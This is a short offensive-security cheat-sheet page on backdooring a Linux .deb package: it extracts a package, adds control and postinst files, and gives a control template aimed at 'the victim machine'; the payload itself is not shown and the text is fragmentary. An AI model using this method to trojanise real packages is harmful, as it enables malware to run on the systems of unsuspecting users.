๐งBinary Linux Trojan
Linux DEB Package Backdoor
Practical
Infecting a Deb Package
# Extract the .deb file
dpkg -x <file.deb> <folder>
# Create a new directory called DEBIAN
mkdir <folder>/DEBIAN
# Inside the DEBIAN directory create a file called control and postinst
touch control postinstPackage: <package name>
Version: <version number>
Section: <app category>
Priotiry: <Optional>
Architecture: <architecture> # Architecture should support on the victim machine.
Maintainer: <name>
Description: <app description>Installing the deb package in the victim machine
REFERENCES
Last updated